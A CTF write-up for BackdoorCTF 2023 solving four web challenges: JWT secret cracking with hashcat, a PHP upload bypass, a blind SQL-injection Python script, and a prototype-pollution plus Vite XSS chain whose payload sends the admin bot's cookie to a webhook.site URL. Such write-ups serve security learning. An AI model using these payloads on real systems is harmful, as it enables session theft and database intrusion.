Happy Holidays! This is a collection of my write-ups for BackdoorCTF 2023, this CTF was interesting as it seemed that challenges kept getting added throughout the CTF. But it made for a very competitive CTF, and I had a lot of fun playing it.
After holding 3rd for a solid amount of time, we ended up placing 13th out of 787 teams. I’m still very happy with that, and I’m looking forward to the next CTF!
beginner/Secret-of-Kuruma
Madara attacked leaf village. everyone wants Naruto to turn into Nine-Tails, Naruto don’t know what’s the SECRET to change its role to ‘NineTails’? can you as a shinobi help Naruto??? username: Naruto Password: Chakra
http://34.132.132.69:8004/
We are given a very simple webpage with a username and password fields. Trying the credentials from the description allows us to log in, and we are greeted with a webpage with two links, one to page called “secret_of_naruto” and the other beinf “secret_of_kuruma”. We’re allowed to access the first page, but the second page gives us the message “you aren’t worthy to know Kurama’s Secret”.
Checking the pages cookies, we can see jwt_token
. This is a JSON Web Token, and we can decode it using jwt.io. We can see that the token has a field called username
with the value Naruto
. And a field called role
with the value shinobi
.
{
"username": "Naruto",
"role": "shinobi"
}
To change the role to ninetails, it’s unfortunatley not as simple as changing the value as we must first break the SHA256 that is used to sign the token. We can use hashcat to do this with rockyou.
hashcat -a 0 -m 16500 jwt.txt ~/Tools/rockyou.txt
This give us eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ik5hcnV0byIsInJvbGUiOiJzaGlub2JpIn0.WJv_YcVsRV15PqzGpq10-w5i2mJ_BI1mBzkZMtAPnIQ:minato
We can now change the token to this, and we can see that we are now able to access the secret_of_kuruma page. This page gives us the flag.
flag{y0u_ar3_tru3_L34F_sh1n0b1_bf56gtr59894}
web/php_sucks
I hate PHP, and I know you hate PHP too. So, to irritate you, here is your PHP webapp. Go play with it
http://34.132.132.69:8002/chal/upload.php
At the top of the file, we have a jumble of code that looks like this:
<?php $allowedExtensions=['jpg','jpeg','png'];$errorMsg='';if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])&&isset($_POST['name'])){$userName=$_POST['name'];$uploadDir='uploaded/'.generateHashedDirectory($userName).'/';if(!is_dir($uploadDir)){mkdir($uploadDir,0750,true);}$uploadedFile=$_FILES['file'];$fileName=$uploadedFile['name'];$fileTmpName=$uploadedFile['tmp_name'];$fileError=$uploadedFile['error'];$fileSize=$uploadedFile['size'];$fileExt=strtolower(pathinfo($fileName,PATHINFO_EXTENSION));if(in_array($fileExt,$allowedExtensions)&&$fileSize<200000){$fileName=urldecode($fileName);$fileInfo=finfo_open(FILEINFO_MIME_TYPE);$fileMimeType=finfo_file($fileInfo,$fileTmpName);finfo_close($fileInfo);$allowedMimeTypes=['image/jpeg','image/jpg','image/png'];$fileName=strtok($fileName,chr(7841151584512418084));if(in_array($fileMimeType,$allowedMimeTypes)){if($fileError===UPLOAD_ERR_OK){if(move_uploaded_file($fileTmpName,$uploadDir.$fileName)){chmod($uploadDir.$fileName,0440);echo"File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";}else{$errorMsg="Error moving the uploaded file.";}}else{$errorMsg="File upload failed with error code: $fileError";}}else{$errorMsg="Don't try to fool me, this is not a png file";}}else{$errorMsg="File size should be less than 200KB, and only png, jpeg, and jpg are allowed";}}function generateHashedDirectory($userName){$randomSalt=bin2hex(random_bytes(16));$hashedDirectory=hash('sha256',$userName.$randomSalt);return $hashedDirectory;}?>
This is a mess, but we can see that it’s checking the file extension, and the mime type. We can also see that it’s checking the file size, and that it’s checking the file name.
Though, there was a line that caught my eye:
$fileName=strtok($fileName,chr(7841151584512418084));
chr(7841151584512418084)
will turn into “$” when run, so this line is just removing everything after the first “$” in the file name. This means that we can upload a file with a name like test.php$.png
and it will be a valid upload.
We can then read the flag with: cat ../../ s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
flag{n0t_3v3ry_t1m3_y0u_w1ll_s33_nu11byt3_vuln3r4b1l1ty_0sdfdgh554fd}
web/too-many-admins
Too many admins spoil the broth. Can you login as the right admin and get the flag ?
http://34.132.132.69:8000/
We are provided source code for the challenge, a php file and a database in a .sql file.
SQL Injection is the first thing that comes to mind, and we can see that the query is not parameterized.
$query = "SELECT username, password, bio FROM users where username = '$userParam' ";
Looking at the hashes themselves, we can see multiple start with 0e
. In PHP when comparing hashes using loose comparison (using == NOT ===) a string starting with 0e
followed by digits is interpreted as a scientific notation number when involved in a non-strict comparison. In scientific notation, 0e
followed by any number is equivalent to 0
.
For example, if you have two different strings whose MD5 hashes start with 0e
and are followed only by numbers, PHP will consider these hashes as equal when compared using ==. This is because both are interpreted as 0 in scientific notation.
Example:
$hash1 = '0e123456789'; // Interpreted as 0 in scientific notation
$hash2 = '0e987654321'; // Also interpreted as 0 in scientific notation
if ($hash1 == $hash2) {
echo "The hashes are equal."; // This will be printed
} else {
echo "The hashes are not equal.";
}
In the above example, even though $hash1 and $hash2 are different strings, the comparison == results in them being treated as equal.
We can make a script to brute force the hashes, and we can see that the hash for admin343
starts with 0e
and is followed by only numbers. This means that we can log in as admin343
if we can find the password.
import requests
import string
dict = string.ascii_lowercase + string.ascii_uppercase + string.digits + "{"+"}" + "_"
flag=''
j = 0
while True:
j += 1
for i in range(0,255):
a = f"admin343' and {i}=ascii(substr(bio,{j},1));#"
print(a)
b ='a'
url = "http://34.132.132.69:8000/"
burp0_data = {"username": a, "password": b}
r=requests.post(url,data=burp0_data)
if "Wrong password" in r.text:
print('--')
flag = flag + str(chr(i))
print(flag)
print('--')
break
flag{1m40_php_15_84d_47_d1ff323n71471n9_7yp35}
web/armoured-notes
Can you break my emerging note making app? It is still in beta. I have a feeling that it is not secure enough.
http://34.132.132.69:8001/
I ended up solving this challenge after the CTF ended. From a glance, it’s pretty obvious that his challenge is either XSS and/or Prototype Pollution due to the fact that there is an admin bot.
We are provided source, and can see that the bot sets the flag as it’s cookie meaning we need to find a way to exfiltrate the cookie.
import puppeteer from 'puppeteer-core';
const CONFIG = {
APPURL: process.env['APPURL'] ,
APPURLREGEX: process.env['APPREGEX'] ,
APPFLAG: process.env['APPFLAG'],
}
console.table(CONFIG)
const initBrowser = puppeteer.launch({
executablePath: "/usr/bin/google-chrome",
headless: 'new',
args: [
'--disable-dev-shm-usage',
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-gpu',
'--no-gpu',
'--disable-default-apps',
'--disable-translate',
'--disable-device-discovery-notifications',
'--disable-software-rasterizer',
'--disable-xss-auditor'
],
ipDataDir: '/home/bot/data/',
ignoreHTTPSErrors: true
});
console.log("Bot started...");
const name = CONFIG.APPNAME
const urlRegex = CONFIG.APPURLREGEX
const bot = async (urlToVisit) => {
const browser = await initBrowser;
const context = await browser.createIncognitoBrowserContext()
try {
// Goto main page
const page = await context.newPage();
// Set Flag
await page.setCookie({
name: "flag",
httpOnly: false,
value: CONFIG.APPFLAG,
url: CONFIG.APPURL
})
// Visit URL from user
console.log(`bot visiting ${urlToVisit}`);
await page.goto(urlToVisit, {
waitUntil: 'networkidle2'
});
await new Promise(resolve => setTimeout(resolve, 5000));
// Close
console.log("browser close...");
await context.close();
return true;
} catch (e) {
console.error(e);
await context.close();
return false;
}
}
export { bot, urlRegex, name}
Unfortunately, we can’t make notes as when we try to do so “Sorry only admin can make notes at the moment. Inconvenience is regretted.” is displayed.
This threw me off for a while, but I eventually realized that there is an odd check for isAdmin
. I instantly knew it was prototype pollution.
export function duplicate(body) {
let obj={}
let keys = Object.keys(body);
keys.forEach((key) => {
if(key !== "isAdmin")
obj[key]=body[key];
})
return obj;
}
By adding isAdmin
is true to out note, we can make notes. We can then make a note with the following body:
{
"uname":"John",
"pass":"asdasdDoe",
"__proto__": {
"isAdmin": true
},
"message":"Your note...sadasd"
}
This allowed us to create our note, however we still need to exfiltrate the cookie. This required more source reviewing, till noticing that the version of vite.js being used was vulnerable to XSS.
This XSS stems from Vite’s server.transformIndexHtml
function, which, when manually invoked, passes the original request URL unmodified. If the HTML being transformed contains inline module scripts (<script type="module">...</script>
), we can inject arbitrary HTML by crafting a malicious URL query string.
http://34.132.132.69:8001/posts/6581f78799d634eec4c7370e/?"></script><script>window.location.href=`https://webhook.site/7f71492e-bc08-4991-83c8-adb019525d48/?cookie=${document.cookie}`</script>
Submitting this to the Admin Bot, we get the flag.
flag=flag{pR0707yP3_p0150n1n9_AND_v173j5_5ay_n01c3_99}